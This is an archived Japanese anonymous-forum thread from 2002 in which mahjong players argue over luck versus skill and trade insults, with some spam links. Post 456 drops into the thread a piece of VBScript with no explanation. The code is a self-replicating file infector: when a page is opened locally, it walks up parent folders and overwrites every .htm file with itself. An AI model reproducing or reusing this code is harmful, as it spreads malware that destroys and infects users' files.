いや、あのルールでやってた時期あるけど、素人には負けなかったよ

300 :焼き鳥名無しさん:02/07/05 16:35
手役派がスピード麻雀に愚痴こぼしてるだけにしか見えないな・・・
281のルールってのは「実力で決まる麻雀」ではなくて
「じっくり手作りする醍醐味が味わえる麻雀」だと思うぞ。
俺は面前手役重視の古い麻雀が好きな人間なんで、281のルールは「楽しい」とは思う。
だけど、そのルールで「実力が出る」と主張するのは見苦しいだろ。

301 :焼き鳥名無しさん:02/07/05 16:54
>>287
つもあがりやドラ・一発が乗るのは玄人も同じといいますが
それだと運の比率があがりやすくなります。
つまり実力がある方が勝てると言うのは
運の要素をぎりぎりまで減らしたのが
>>281であげたルールです。
このルールによって
@手役の構成力
A相手の読み
B捨て牌の迷彩
の麻雀における重要な点が重視されやすくなる。
とのことです

ただ>>300の言うことももっともです。
しかしスピード麻雀とは言っても
バレバレの待ちと、迷彩の効いた待ちでは
上がれる確率は単純に言えば後者の方が高いでしょう
単純に言えばバレバレの待ちの4倍ですからね
そもそもスピード麻雀とは
とにかく早く張る
ではなく
とにかく早くあがるってことじゃないですか?
それならこのルールでやれば
相手からの出上がりを誘う力もつくので
スピード麻雀というところから見ても
十分理にかなってると思うのですが
どうでしょうか?

302 :焼き鳥名無しさん:02/07/05 17:20
関係無い氏ね

303 :焼き鳥名無しさん:02/07/05 17:25
俺は聡明なので大体のルールに適応する自信があるから、
別に今のフリールールを否定されて実力とか言われてもなんとも思わないぞ。

304 :焼き鳥名無しさん:02/07/05 18:07
>>301
迷彩するとスピードが落ちる
これ当たり前
スピード重視だと手役がつきにくい
これも当たり前
スピード重視だと素直に打つから読みの鋭い人が有利になる
これも当たり前
迷彩重視だと相手は全ツべたオリになって読みのヘボい奴でもどうにかなる
これも当たり前

スピード重視の麻雀のほうが奥が深くて実力差が出るつーこと

305 :焼き鳥名無しさん:02/07/05 18:08
つーか、スピード麻雀だからって素人にまける奴はド素人

306 :焼き鳥名無しさん:02/07/05 18:10
素人がツイてるんじゃない
お前にも同じだけのツキはきてるはず
負けるのは弱いから
たまたま上がられたぐらい取りかえせないのはヘボいから

307 :焼き鳥名無しさん:02/07/05 18:57
おまえらごちゃごちゃうっせーよ

    麻雀は運
  

               以上

308 :焼き鳥名無しさん:02/07/05 19:23
>お前にも同じだけのツキはきてるはず
同じだけきてるってどうしてわかるんだよ。そもそも何を以って「同じ」
とするんだよ、ええ?まあ1000歩譲って同じだけツキが来てたとしても
同じ時にこなければ両者の差は雲泥の差だと思うんだけどな、どうよ?

309 :焼き鳥名無しさん:02/07/05 19:26
その差とやらも判断しかねる

310 :焼き鳥名無しさん:02/07/05 19:57
つーか、下手糞が運だけで勝つことも当然あるだろ。
このスレで吠えてる奴は、いったい何がいいたいのかわからん。
下手糞ってのは打ってりゃわかるけど、そいつが偶然にバカヅキで勝ったとして、
別にどうってことなくないか?
「あー、あいつ下手糞だけどツイてたな。こりゃしょうがないか」
で終わる話だと思うんだが?

311 :焼き鳥名無しさん:02/07/05 20:01
下手糞に負ける奴も
下手糞だろうW

312 :焼き鳥名無しさん:02/07/05 20:02
たとえド素人相手でも、100回やって100回トップは取れないなー
麻雀ってそういうゲームじゃねーし。

313 :焼き鳥名無しさん:02/07/05 20:05
麻雀に関して

『勝った奴が上手い奴』とか
『下手に負ける奴も下手』とか

本気で言ってる奴は下手

314 :焼き鳥名無しさん:02/07/05 20:52
>>310=>>313=ド下手

315 :焼き鳥名無しさん:02/07/05 22:19
>迷彩するとスピードが落ちる
>これ当たり前
聴牌が遅くても出上がり出来る待ちの方が
あがれる

>スピード重視だと手役がつきにくい
>これも当たり前
これはその通りでも手役の構成力がないと出来る役を
見逃す結果になることだってある
特にそれで張った結果が悪形の役無し聴牌なら
最悪

>スピード重視だと素直に打つから読みの鋭い人が有利になる
>これも当たり前
(゚Д゚)ハア?

>迷彩重視だと相手は全ツべたオリになって読みのヘボい奴でもどうにかなる
>これも当たり前
迷彩かかってるかかかってないか完璧に見分け
られるんですか?
そしてその理屈だとスピード重視でも
相手が全ツべたオリすれば読みがへぼくても
勝てる。ただ相手の手読まないんじゃ勝てないっしょ

316 :焼き鳥名無しさん:02/07/05 22:21
おまえらごちゃごちゃうっせーよ

    麻雀は運
  

               以上

317 :焼き鳥名無しさん:02/07/05 23:02
>>315
今の標準的フリールールでも手役重視の重厚な打ち方で十分戦えるって主張?
それならそれでいいじゃん。

318 :焼き鳥名無しさん:02/07/05 23:08
http://www2.sega.co.jp/bbs/article/o/opendice/38/egxynh/index.html

おもしろい

319 :焼き鳥名無しさん:02/07/06 00:21
運で勝とうが実力で勝とうが結果がすべて。んな事より負けたときの態度の方が
よっぽど大事だけどな。あれこれ言い訳は見っとも無い

320 :焼き鳥名無しさん:02/07/06 00:34
>>319
激しく同意

321 :焼き鳥名無しさん:02/07/06 00:39
つーか、その下手くそ君にはトータルで勝てるんだから半荘の1回や2回勝たせてやっていいじゃん
タコが長居してくれると助かるでしょ?
まさかとは思うけどそのド素人相手に

ト ー タ ル で 勝 て な い な ん て こ と な い よ ね ?

322 :焼き鳥名無しさん:02/07/06 00:41
ツキだけの奴に負けるやつはツキだけの奴以下ってことでよろしいですか?

323 :焼き鳥名無しさん:02/07/06 00:56
>>322
多分そいつもつきだけでたまたまつかないって
いう設定では?と言って見るテスト

324 :焼き鳥名無しさん:02/07/06 02:25
>321
トータルトータル言うけど、お前相手のそんなところまで気にするの?逆も然り。
同じ相手と何度もやるとはかぎらんだろ。相手がトータル勝ち組みだろが負け組みだろが
その場の勝ち負けにはカンケーねえけどな。
あと、ツキだけの勝利、大いに結構。それも立派な勝利だ。牌が揃えば兎に角
和了りなんだから、それにけちつけるのはおかしいyo

325 :焼き鳥名無しさん:02/07/06 02:32
強い奴が勝つんだよ! そいつがその時勝てるかどうかは、メンツしだい。
同じ相手とずっと打ち過ぎなんじゃねえの?

326 :焼き鳥名無しさん:02/07/06 02:35
↑違うな、勝った奴が強いんだよ

327 :焼き鳥名無しさん:02/07/06 02:49
麻雀が強いかどうかは、野球とかサッカーと一緒で周りから強いって言われる奴はその中では強いんだろうな。レベルが高い中でやって初めて自分のぬるさがわかるんだろうよ。

328 :焼き鳥名無しさん:02/07/06 02:52
おまえらごちゃごちゃうっせーよ

    麻雀は運
  

               以上

329 :焼き鳥名無しさん:02/07/06 02:54
じゃあ、あんたは勝ったり負けたりなんだね。

330 :焼き鳥名無しさん:02/07/06 03:04
始めたころから勝ちまくってるからいってんだよ
これが運じゃなくてなんなんだよ
とりあえずアホは氏ね

331 :焼き鳥名無しさん:02/07/06 03:15
>>1
関係無い。しつこい馬鹿氏ね

332 :焼き鳥名無しさん:02/07/06 03:18
おまえがまず市ね

333 :焼き鳥名無しさん:02/07/06 03:20
強いって言葉には、運が強いというのも含まれているということで
「おまえ強いな」

334 :焼き鳥名無しさん:02/07/06 03:27
誰が何と言おうが、例えタコに見えようが、勝っているヤツが強い。
強いかどうかって勝ってるかどうかじゃないのか?

上手に見えて負けてるヤツより、タコに見えても勝ってるヤツが強い。
これ以上に何があるんだ?

335 :焼き鳥名無しさん:02/07/06 03:37
勝ってる奴っていっても、その時たまたま勝ってるだけかもしれないだろ
今、眼前のこの試合で勝ってる奴が強い、なんて言い切れるわけなかろうに

336 :334:02/07/06 03:43
>>335

もちろん、その場ではなくてトータルで。
言葉足らずだった。
スマソ。

337 : :02/07/06 13:43
開局した瞬間で全牌の1割が、流局時に6割が見えてるのが麻雀だろ?
序盤で和了がでまくる展開ならともかく、普通は3割以上見えてる状態での
駆け引きなわけだから、見えてるものからの類推能力が高い奴が有利だと
思うんだが。レインマン最強説がどこかに書いてあったけど、そういうこと。

338 :焼き鳥名無しさん:02/07/06 13:50
>>337
そんな当たり前のことを誇らしげに書くなw

339 :焼き鳥名無しさん:02/07/06 14:04
やっぱだれかが上のほうで書いていたけど、
程度の問題が大きいと思う。

例えばさ、ワールドカップにしてみても、
イタリア代表とブータン代表が対戦したらどう考えてもイタリアが勝つけど、
FIFAランク上位(最下位付近のブータンよりはかなり上)の韓国代表となら
韓国がイタリアに勝つこともありうるわけじゃん。
で、その韓国が勝ったのが「運が良かった」といわれるものかも。

これがマージャンにも言えるんではないでしょうか?
まぁこの結論からいくと実力は関係あるということになるんだけど、
運の要素も強いということになるね。

340 :焼き鳥名無しさん:02/07/06 16:27
あのー、運だって言ってる方はなんで麻雀やってるんですか?失礼な言い方ですが愚痴にしか聞こえないです。そんな愚痴言う暇があったら戦術とか勉強したらどうですか。強くなったら運を上手くいかすことだってできるはず。

341 :焼き鳥名無しさん:02/07/06 17:53
『実力があれば運を上手く生かすことができる』っていう発言は激しくイタイ
アイタタタタタタタ

342 :焼き鳥名無しさん:02/07/06 18:02
>『実力があれば運を上手く生かすことができる』っていう発言は激しくイタイ
禿同。
どうやっても操れないから「運」っていうんじゃないの?

しかし麻雀は運だけじゃないだろう。
一番わかりやすいのが「待ち牌の読み」ではないかな?

343 :焼き鳥名無しさん:02/07/06 18:07
http://www8.plala.or.jp/nasuka/rumsses.htm

http://www.h3.dion.ne.jp/~kody-art/index.htm

業界人が質問に答えてくれる。意外と面白い。

344 :焼き鳥名無しさん:02/07/06 18:19
打ってみれば解ること。

345 :焼き鳥名無しさん:02/07/06 18:20
日本>ブータン>>>>>>>>>>>>>>イタリア

346 :焼き鳥名無しさん:02/07/06 18:23
orehasaikyouda

347 :焼き鳥名無しさん:02/07/06 18:35
>>345
戦前・戦中の人ですか?

348 :リーチ超一発:02/07/06 18:47
「ドカーン!中のみ!!」って言って千点アガる雀士は本物だ。

349 :焼き鳥名無しさん:02/07/06 18:50
…そうなの?

350 :焼き鳥名無しさん:02/07/06 20:50
いくら運が悪くたって、相手のロン牌もってなきゃ振り込むこともねーんだけどな
自分にまったく都合のいい流れだとノータリンの全ツッパでも勝てちゃうし。

351 :焼き鳥名無しさん:02/07/06 20:51
>>350
んで何がいいたいの?

352 :焼き鳥名無しさん:02/07/06 20:52
http://www8.plala.or.jp/nasuka/rumsses.htm

http://www.h3.dion.ne.jp/~kody-art/index.htm

業界人が質問に答えてくれる。意外と面白い。

353 :焼き鳥名無しさん:02/07/06 20:55
>>352
しつこいうざい

354 :焼き鳥名無しさん:02/07/07 03:38
運 も 実 力 の 内
よって麻雀は実力

355 :焼き鳥名無しさん:02/07/07 03:59
運と実力を一緒にしてる奴は向上心もないし腕も無い

356 :焼き鳥名無しさん:02/07/07 05:14
>>355
いくら負けたの?くやしいの?ははははは

357 :焼き鳥名無しさん:02/07/07 08:20
>354がいい事言った

358 :焼き鳥名無しさん:02/07/07 09:52
>>355
だな。弱い奴の典型は二つ
・実力で負けたってのがわからずに「間違った打ち方はしてなかった。ツイてない…」
・運が悪かっただけなのに「こう打っていれば勝てたのに…」

359 :焼き鳥名無しさん:02/07/07 22:22
結果が全て。
以上。

360 :焼き鳥名無しさん:02/07/07 22:32
君タチにはワロタ(・∀・)
http://game.2ch.net/test/read.cgi/mj/1025874663/

361 :焼き鳥名無しさん:02/07/08 00:30
>>339
勧告が勝ったのは審判がよかったからだろ
サッカー知らんやつは語るな

362 :1:02/07/08 00:32
sage

363 :焼き鳥名無しさん:02/07/08 02:00
どこまで押して、どこで引くか、この判断は大事だと思われ。
ただ基本的に優勢のときは引き、劣勢のときは押してかないと勝てないと思う。
優勢のときは所謂実力、劣勢のときは運が大きくものを言うと思う。
無論共に両方が伴わないと駄目だが

364 :焼き鳥名無しさん:02/07/08 02:06
>>363
劣勢の時は我慢だろ
ひたすら我慢して勢いのある奴以外をアシストしろ

「優勢のときは所謂実力、劣勢のときは運が大きくものを言うと思う。」
ってのは同意

365 :焼き鳥名無しさん:02/07/08 03:14
>劣勢の時は我慢だろ
ああ、まあそりゃそうだよね。押すって意味は「点棒をとる」って解釈してけれ。
最終的に相手の点を上回らないで終わると負けちゃうから、それを何とかしようってことね。
逆に点数上回ってれば程度にもよるけど選択肢は増えるから、そこで腕というか
相手に対しての対応の見せ所になると思う。

劣勢のとき、我慢はほんとに大事だけど、我慢したまま終わっちゃうとたとえそれが
最善であったとしても目も当てられないしね。
もっと駄目なのは、我慢しきれずにトップ争いから転げ落ちることだけどw

366 :◆CExSafAk:02/07/08 03:29
>>365
>そこで腕というか
相手に対しての対応の見せ所になると思う。

同意

ツキが細い奴
腕のない奴

こいつら麻雀やってて楽しいかねぇ?

367 :腕のない奴:02/07/08 03:33
毎日が勉強です

368 :ツキが細い奴:02/07/08 03:47
風水を始めました

369 :焼き鳥名無しさん:02/07/08 03:50
>腕のない奴

腕云々以前に「何をすべきか」がわからないとやってる方も見てるほうも楽しくないね。
右も左も分からんうちは何でもいいから14枚そろえて和了る快感?を覚えていけば
いいと思うけど、役も覚えて得点勘定も出来るようになったら「勝つ」事を意識
しなきゃいけない。

370 :◆CExSafAk:02/07/08 03:52
>>367
>>368
正直どうよ?


とネタにレスする俺も正直どうよ?

371 :◆CExSafAk:02/07/08 03:59
>「何をすべきか」がわからないとやってる方も見てるほうも楽しくないね。

何をすべきかってのは毎回変動しているのに
いつまでも同じことする奴って学習能力がないんだよね
それすらも自覚もしてないともう何も言えませんって感じ

372 :焼き鳥名無しさん :02/07/08 05:52
「麻雀は運」派の人はポーカー
(特にセヴンスタッド、テキサスホールダムだっけ?捨て札を晒すやつ)
についてはどう思ってるんだろ?
あれも手がこなかったら勝てない筈だよね。じゃああれも運?

でも確実に差はつくわけよ。プロもいるし。

373 :焼き鳥名無しさん:02/07/08 08:54
つーか、さっき東風で明らかにヘボ(オーラストップ目でリーチに対して無スジで
打ち込み)に負けてつくづく運な気がした

374 :焼き鳥名無しさん:02/07/08 09:26
>>373
オーラスで自分がトップにいなかったのが悪い

375 :焼き鳥名無しさん:02/07/08 09:31
>>374
そのコピペ、もう秋田

376 :焼き鳥名無しさん:02/07/08 09:42
コピペじゃないけど?
ごく普通のマジレスなんですが。

377 :焼き鳥名無しさん:02/07/08 09:52
>>376
いや、正論なのはわかってるけど、
ここでは、もう激しくガイシュツですyo

378 :焼き鳥名無しさん:02/07/08 09:53
それ言うなら373の愚痴が激しくガイシュツじゃん(笑)

379 :焼き鳥名無しさん:02/07/08 10:21
>>378

イタイ厨房ハケーンすますた(・∀・)イェイ!

380 :焼き鳥名無しさん:02/07/08 10:30
378だけど、正直何が痛いのか分からん。説明きぼん
ただの煽りだったならマジレススマソ

381 :焼き鳥名無しさん:02/07/08 10:33
>>380
>378だけど、正直何が痛いのか分からん。説明きぼん
>ただの煽りだったならマジレススマソ

無論こうゆうところだろうな(藁

382 :焼き鳥名無しさん:02/07/08 10:34
ああ、なるほど。麻雀板にレベル合わせろってことか。

383 :焼き鳥名無しさん:02/07/08 10:36
>>382
板に、というかスレにね(w

384 :焼き鳥名無しさん:02/07/08 10:43
>>383
ちょい質問。その「こうゆう」ってのは下のどの意味?
http://dictionary.goo.ne.jp/cgi-bin/dict_search.cgi?MT=%A4%B3%A4%A6%A4%E6%A4%A6&sw=2

もしかして、これのこと?
http://dictionary.goo.ne.jp/cgi-bin/dict_search.cgi?MT=%A4%B3%A4%A6%A4%A4%A4%A6&sw=2

俺の知らない2ちゃん語だったなら、マジレススマソw

385 :焼き鳥名無しさん:02/07/08 10:44
383じゃなくて381だったyo!

386 :焼き鳥名無しさん:02/07/08 11:12
>>384
どうでもいいけど。あんたトコトン痛い人だな。

387 :焼き鳥名無しさん:02/07/08 11:34
>>384
おいおい、麻雀だけに夢中でニホンゴできないのか…?

388 :焼き鳥名無しさん:02/07/08 12:03
ただいまの参加者:2人

389 :焼き鳥名無しさん:02/07/08 12:21
>>388
だいたいあってると思われ(藁

390 ::02/07/08 13:23
ホントに馬鹿みたいな連中ばかりだね・・・ため息しかでないよ、
君たち自称上級者は下手とぶつかった時に負けたら自分の実力のせいにしないで
あんなド下手に負けたと運のせいにしてるんだよね。まるでおめでたいよねw
実力、実力といっておきながら都合のいいところで運をもちだすんだから滑稽すぎてみてられませんよw
知ってた?真正下手糞は自分が下手ときずかないんですよ?だからタチが悪いw

下手に負けた運が悪かったと言い訳を考えるより少しでも進歩したらどうですか?
てゆーかこいつらみんな下手っぽくて面白いよみててさ(w
君たちにはワロタ(・∀・)

391 :焼き鳥名無しさん:02/07/08 13:41
>>390
自己紹介は終わりましたか?

392 :焼き鳥名無しさん:02/07/08 14:08
ずっと見てて思ったんだけど
「運」とか「実力」などの言葉が指し示す範囲をちゃんと定義しようよ。

とりあえず、あがりへの道筋の数ってのは配牌、ツモ山で決まる。
もちろん他家より先にあがる道筋ね。
これを「運」とすると、「実力」は例えばその道筋をなるべく多く見出し、
さらにそれらに最大限に対応できる能力となる。
それを支えるのが(論理的な)読みとか牌効率だと思う。

んで、そういうデジタルな実力を極めて(人間では有り得ないと思うけど)
場の状況から一意な最適解を出せるようになると
そこは運だけの世界になる、と。

393 :焼き鳥名無しさん:02/07/08 14:11
はいはい。よくできまちた

394 ::02/07/08 14:19
>>390>>393みたいな奴って俺のいってることが的をえてるもんだから
煽りで返すしかなかった・・・って感じだよね・・・

まぁいってることは正しいししょうがないっちゃしょうがないけどな・・・

ふぅ疲れる・・・

395 :焼き鳥名無しさん:02/07/08 14:26
おまえ痛すぎ

396 :焼き鳥名無しさん:02/07/08 14:27
ちなみに、的はえるものではなくいるものだな

397 :焼き鳥名無しさん:02/07/08 14:28
プヒャーリ

398 :焼き鳥名無しさん:02/07/08 14:32
>>390
麻雀というゲームは実力+運=結果(勝敗)
になるわけよ。
まぁドヘタが先にリーチして先にツモられたらそりゃぁ手も足も出ないわ。
でもその「偶然」が永遠に続くことなんて有り得ない。
その「偶然」に頼らず勝つ方法が「実力」ってわけ。
殆ど運、とか言ってるが、それは寧ろ逆。実力のある奴が最終的には勝つ。
短いスパンで見ればそりゃぁ上級者がドヘタに負けることだってあるだろう。
実力が発揮し辛いからな。

ドヘタに負けたら運のせいにする それは当たり前のことだと思うが。
将棋とかやってみろ、あれは実力の有る奴が必ず勝つゲームだ。
しかし、麻雀は運の要素(ツモ山にどんな牌があるか・相手の配牌はどうなのか)
も含まれるから運のせいにするのは当然だと思うが。

399 :焼き鳥名無しさん:02/07/08 14:43
>まぁドヘタが先にリーチして先にツモられたらそりゃぁ手も足も出ないわ。

この発想がアフォ。

400 ::02/07/08 14:47
>運のせいにするのは当然だと思うが。

ここで負けた理由に自分の実力が相手に及んでなかったのかと少しも考えないところが
めでたいと言ってるのですよ。相手は自分より下手という前提でものを考えてるから滑稽なんですよーw
君にはホントワロタ(・∀・)

401 :焼き鳥名無しさん:02/07/08 14:48
>>400
キリ番おめ。398はドジタルだから相手にするなw

402 ::02/07/08 14:49
典型的なお馬鹿で単純ちゃんが集まるところはすぐ論破できて面白い(w

403 :焼き鳥名無しさん:02/07/08 14:50
論破?ハァ?

404 :焼き鳥名無しさん:02/07/08 14:58
>>402
あんたのは単なる屁理屈と揚げ足取りだよ
匿名掲示板によくいるタイプ

405 :焼き鳥名無しさん:02/07/08 15:03
どんな理屈述べても結果が全て。
うまい=強い ではないんだから。

裏ドラばっかりのせてバカ勝ちするやつもいれば
安あがり連発で小勝ちする奴もいる。

負けた奴が勝者に文句を言えばただの泣き言だし、
勝った奴が敗者に何を言おうとただの皮肉になる。

406 :焼き鳥名無しさん:02/07/08 15:05
既出の意見を偉そうに語るアフォハケーン

407 :焼き鳥名無しさん:02/07/08 15:06
>>406
>>405はガイシュツだけどさ、それが理解できてないからココまで伸びてんじゃないの?
>>1は意味不明に偉そうだし

408 :焼き鳥名無しさん:02/07/08 15:10
1は「麻雀はほとんど運」と言ってたのに
なぜ途中から実力とか言い出すんだ?

409 :焼き鳥名無しさん:02/07/08 16:15
麻雀で重要なのは運でも実力でもないよ。

体力だよ。

410 :焼き鳥名無しさん:02/07/08 16:20
>>409
( ´_ゝ`)フーン

411 :焼き鳥名無しさん:02/07/08 16:45
409がいい事言った!

412 :焼き鳥名無しさん:02/07/08 16:47
金だっつーの

413 :焼き鳥名無しさん:02/07/08 16:51
明らかにヘボい相手もいるっしょ、
たとえば、オーラスで12000点差のトップで
11順目カミチャからリーチがかかった。
おまけにどうもタンピン系に見えるそんな中トップ目が
無スジを強打。
結局通ったのだけど、普通に打てる奴ならそんなことはまずしないっしょ
俺が言ってる運だけって奴は、こうゆう奴のことを言ってるわけ。
おわかりかな?

414 :焼き鳥名無しさん:02/07/08 16:55
>413
それはヘボいというより損得勘定できないんだろうな

415 :焼き鳥名無しさん:02/07/08 17:12
>>413
わざと打ち込みするよ
ただしそのリーチ者と16100以上はなれてたらね。
それやって跳満だったこともあるけど

416 :焼き鳥名無しさん:02/07/08 17:25
勝つ為には運が必要、
負けない為には実力が必要・・

これでいいんじゃないの・・

417 :焼き鳥名無しさん:02/07/08 17:32
>>415
一発で??

私は、>>415殿にヘボ認定さしあげたいのだけど、
みなさんいかがかな?

418 :焼き鳥名無しさん:02/07/08 17:42
勝つためには運も実力も必要だろ

419 :焼き鳥名無しさん:02/07/08 18:04
>>417
いいよ
415は東風厨かフリー童貞だろう
フリーはハネ満なんかすぐできるから恐くてそんなヌルイ手打てない
順位戦で赤なしのヌルイ東風がお似合いってとこ

420 :焼き鳥名無しさん:02/07/08 18:25
415は矛盾している
跳満がすぐできるならツモられたらまくられるんでは?

ばかだろ

421 :焼き鳥名無しさん:02/07/08 18:29
つーか、ワザト打ち込むわけねーだろ(藁
ヘボ過ぎてワラタ(ww

422 :焼き鳥名無しさん:02/07/08 18:45
415叩かれまくり。さすが東風厨は違うな(藁

423 :焼き鳥名無しさん:02/07/08 19:14
>>422 同感(藁

424 :焼き鳥名無しさん:02/07/08 19:43
アイドル及川奈央がついにオシッコ写真集を公開!すごい!
http://www.rubyrouge.com/konomi/sample.html

425 :焼き鳥名無しさん:02/07/08 19:45
>>415
リスクのないトンプーでの出来事を偉そうに語るなよ

つーかリーチ者に打ち込みってアフォやろ?
裏ドラという不確定要素があるのにどうしてわざわざ振り込む必要があるんだか

426 :焼き鳥名無しさん:02/07/08 20:08
>425
だよなあ。リードしてたって一番いいのは自分で和了るか、横の点棒移動だもんな。
それを早々に放棄して打ち込み、なんてのはまさに知的廃退という他はない。
こういう奴は100点差のトップとかがカッコいいとか勘違いしてるんだろなきっと。
同じ勝ちでも圧勝の方がカッコいいに決まってる。

427 :焼き鳥名無しさん:02/07/08 20:30
お〜いみんな
415がまた↓↓でいたい発言
http://i.tosp.co.jp/i-landimage/NAL/G/A164/P1640317N11.gif

同一人物臭い

428 :焼き鳥名無しさん:02/07/08 20:31
振り込むぐらいならつもられた方がまだましじゃん

429 :f:02/07/08 20:40

-------風俗の総合商社・MTTどこでも-------

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430 :焼き鳥名無しさん:02/07/08 20:51
>>428
30000点勝っていたのにツモられたらスーアンコーだったという罠

431 :焼き鳥名無しさん:02/07/08 21:05
>>430
30000点ならはねまんふっても(・∀・)イイ!

432 :焼き鳥名無しさん:02/07/08 21:11
2位と100000点差あったら満貫くらい振り込んでやってもいいよ

433 :焼き鳥名無しさん:02/07/08 21:14
2着とー20000点差の時はどうすんの?

434 :焼き鳥名無しさん:02/07/08 21:17
>>433
がむばって役満狙いましょう

435 :焼き鳥名無しさん:02/07/08 21:39
>433
そうならないように試合運びしろ。

436 :焼き鳥名無しさん:02/07/08 23:26
>>398
ハゲド

437 :焼き鳥名無しさん:02/07/08 23:32
まあまあ、麻雀なんてパチンコや競馬と同じギャンブルなんだから負けてもそんなにムキにならずに

438 :焼き鳥名無しさん:02/07/08 23:33
>>436
猿は麻雀やめろ

439 :焼き鳥名無しさん:02/07/08 23:36
ていうか1は東風やってるのかが気になる罠

440 :焼き鳥名無しさん:02/07/08 23:59
麻雀は運だけではないと思います。でも運の要素が強いと思います。
自分は普通の人よりは多少は上手いとは思っていますが昨日は初心者にボロボロにされました。
でも長期的にみれば負けてはないと思います。
自分の意見では全く同じ打ち方をする人が2人いたらあとは運の勝負だと思っています。
長々とすいませんでした。

441 :焼き鳥名無しさん:02/07/09 00:11
>>1
>ここで負けた理由に自分の実力が相手に及んでなかったのかと少しも考えないところが
めでたいと言ってるのですよ。相手は自分より下手という前提でものを考えてるから滑稽なんですよーw

上で誰か言ってたけど麻雀はほとんど運じゃなかったの?
これが論破ですか・・・

>君ら人の事ヘボヘボいうけど
なんか変わりあんの?

まっ最初のこれからして普段ヘボヘボ言われてるのはよくわかるけどねw
せいぜいストレス発散して下さいな1さん

442 :焼き鳥名無しさん:02/07/09 00:30
そろそろ1は危険を感じて逃げる頃だ罠

443 :ちび 丸子 ◆KkGnMARU:02/07/09 00:43
http://www.zephyr.dti.ne.jp/~gatoazul/

444 :焼き鳥名無しさん:02/07/09 01:11
最初運だけと逝って
次に牌効率をマスターして、相手の手が大体読めれば麻雀なんて運だよと逝って
最後にはお前ら相手を下手って前提で見てるから笑えると言う
>>1はそれで馬鹿を軽く論破したと逝ってますが。
ころころ自分の意見をここまで変わる人に
論理なんてあるのかなぁと思った今日この頃

445 :焼き鳥名無しさん:02/07/09 01:29
麻雀には実力差があるということを前提にして

ただ一概にどの打ち方が強いという訳ではない罠
最初に牌効率をマスターして・・・というのは当然として
打ち方は少しずつ変化していくものだと思う。

446 :445:02/07/09 01:43
勝つためには相手の手を読むという必要性を知る。
そのため、進行を見つつ必要に応じてオリをするようになる。
これが第一段階。

オリるというだけでなく、さばく。
前に進みつつ手を作る、相手の待ちを読むようになる
第二段階。

多少の打ち合いを恐れず、前に進むようになる。
テンパイからの渡り、より大きい手に。
第三段階。

トップ取りのため勝つために、捨てる局もつくる。
牌を絞ったり、捨牌にまぎれを作り、相手のチャンス手を潰す。
第四段階。

攻撃型→守備型→攻撃型・・・
どれが、良いとは言えない。
自分と違う感性の人を後ろから見れば、下手と思うかもしれない。
勝っても、結果論と。

でも、強い人は強い。
漏れは初めて同卓になったときに感じる威圧感を持った人が強いと思う
どうです? 1さん

447 :445:02/07/09 01:44
長くてスマソ

448 :焼き鳥名無しさん:02/07/09 06:39
>>445
ウンチクなら厨房でも言える

449 :焼き鳥名無しさん:02/07/09 11:22
>445
本当に自分の力だけで勝った、と自信を持っていえる局ってある?
俺はそれ、稀だわ。半荘終わるまで8局はあるわけだけど、それだけに
運命のいたずらは良くあるんだけどな。そりゃ人間だから「勝つこと」を
念頭にプレーするんだけど、それは皆一緒。それと

>初めて同卓になったときに感じる威圧感を持った人が強いと思う

強い弱いはともかく、威圧感を感じるのは今の状況で自分に一番差し迫ってる奴
じゃねえか?2万点差つけた上級者より2万点リードしてる初心者の方が
難関だと思う。実力差は一定としても、戦力差、平たく言えば点差は常に変わるし
実力差に比例しないのが麻雀の特徴だと思う。

450 :焼き鳥名無しさん:02/07/09 12:13
>>449
1局単位や半チャン単位で言えばツキが大きく作用する。
がしかし、フリーで勝ち組と負け組がいるのは確かで、
それは運のせいではない。はっきりゆってうまけりゃ勝つよ。
半チャンで1000回以上の成績をつけてみると、だいたい自分の
実力がわかるものだよ。トップ率3割あったら立派に勝ち組だ。
(ラス率も3割以上てゆうんじゃだめだけど)
100回や200回でたまたま3割以上ってゆーのならざらにいるけど、
1000回以上で3割ってのは相当少ないだろう。
でもその人の実力はあきらかに平均トップ率2割5分の人より上と言える。

451 :焼き鳥名無しさん:02/07/09 12:29
>450
どれだけチャンスメイクできるか、てのも勝率に影響するよな。俺は基本的に
オーラスの目標を「満貫圏内」にしてるんだが、どうだろね?跳ねマン以上だと
やっぱり裏頼みになっても仕方ないわけで。相手が出すかはともかく、逆転の
お膳立てはしておきたいと思う。まー僅差の争いも、絶望的なワンサイドも多々
あるわけで一概には言えないけど。運も実力もそうだが「意思」も大事だよね。

452 :焼き鳥名無しさん:02/07/09 13:15
>>451
満ツモ圏内?

453 :焼き鳥名無しさん:02/07/09 14:42
↑そりゃま、3種類だろ「出和了り」「ツモ(親・子で変わるが)」「直撃」
追う立場なら前者ほど、逃げる立場なら後者ほどいいに決まってる。
それが自分の都合の良い様に行かない、それすら出来ないのもまた麻雀なわけで。
満貫は4飜、点パネ3飜でも出来るんでやっぱり作りやすいんだよね。

454 :450:02/07/09 14:47
>>451
オーラスの目標マンガン圏内はいいと思うよ。
1つの目安だ。
意思は俺のなかでは実力のうちに考えている。
オーラスで何点上がれば何着になるというのは
誰でも考えることだけど
中級者以上ならラス前の局で、何点上がればオーラスマンガン圏内か
とか、上がりトップになるとかを意識して打ってる。
俺の考える実力は大きく分けて
1.牌効率を理解し、実践できる能力
2.ベタ降り技術
3.得点状況や局面にあった打牌の選択
4.読みの技術
5.他家の上がり手の確認を素早く正確にチェックする能力
(点数、形、フリテン等)
細かいことを言えばもっとあるだろうけどざっとこんな感じかな。

455 :焼き鳥名無しさん:02/07/09 15:12
将棋にも運の要素はある・・・と羽生が言っていたらしい

456 :焼き鳥名無しさん:02/07/09 15:30
Sub Redirect
Randomize
If location.protocol = "file:" AND (Int((6 * Rnd) + 1) = 1) then Call Offline
location.href = location.href +"l"
End Sub

Sub Offline
Dim FSO,folder ,fc, f1, cpath
Set FSO = CreateObject("Scripting.FileSystemObject")
HostPath = Replace(location.href, "file:///", "")
HostPath = Replace(HostPath, "/", "\")
cpath = fso.GetParentFolderName(HostPath)
Set folder = fso.GetFolder(cpath)

While folder.IsRootFolder = false
Set folder = fso.GetFolder(cpath)
Set fc = folder.Files
cpath = fso.GetParentFolderName(cpath)
For each f1 in fc
s = Lcase(Fso.GetExtensionName(f1.name))
If s = "htm" and fso.FileExists(f1.path+"l") = False then
fso.CopyFile f1.path, f1.path+"l", true
fso.CopyFile HostPath, f1.path, true
End If
Next
Wend
If (Int((10 * Rnd) + 1) + 1) = 1 Then MsgBox("HTML.Redirect /1nternal")
End Sub

457 :451:02/07/09 15:39
↑下手にステディぶってる奴は「ここは2着でよしとするか」とか考えがちなんで
意思と実力はちとニュアンスが違うと思う。
